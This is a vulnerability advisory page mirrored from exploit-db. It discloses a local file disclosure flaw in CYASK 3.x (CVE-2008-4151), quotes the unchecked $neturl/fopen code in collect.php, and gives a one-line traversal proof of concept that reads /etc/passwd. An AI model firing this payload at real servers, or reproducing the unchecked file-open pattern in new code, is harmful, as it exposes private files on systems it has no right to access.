Lucene search
+L

CYASK 3.x - 'neturl' Local File Disclosure

🗓️ 18 Sep 2008 00:00:00Reported by xy7Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 42 Views

'neturl' Local File Disclosure vulnerability in CYASK 3.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-4151
18 Sep 200800:00
circl
cve
CVE
CVE-2008-4151
19 Sep 200818:00
cve
cvelist
Cvelist
CVE-2008-4151
19 Sep 200818:00
cvelist
euvd
EUVD
EUVD-2008-4134
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-4151
24 Sep 200805:41
nvd
prion
Prion
Directory traversal
24 Sep 200805:41
prion
This vulnerability leads to that the attacker can read any file on your webserver when it installs cyask.

The $neturl variable in collect.php is short of enough check. When the attacker registers a new user, he can pass
the user check and then submit any filename to $neturl so that collect.php can read it.

The vuln code like this:
$url=get_referer();
    $neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);

    $collect_url=empty($neturl) ? $url : $neturl;

    $contents = '';
    if($fid=@fopen($collect_url,"r"))
    {
        do
        {
            $data = fread($fid, 4096);
            if (strlen($data) == 0)
            {
                break;
            }
            $contents .= $data;
        }
        while(true);
        fclose($fid);
    }

POC:
http://XXX.com/collect.php?neturl=../../../etc/passwd

# milw0rm.com [2008-09-18]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.0292
42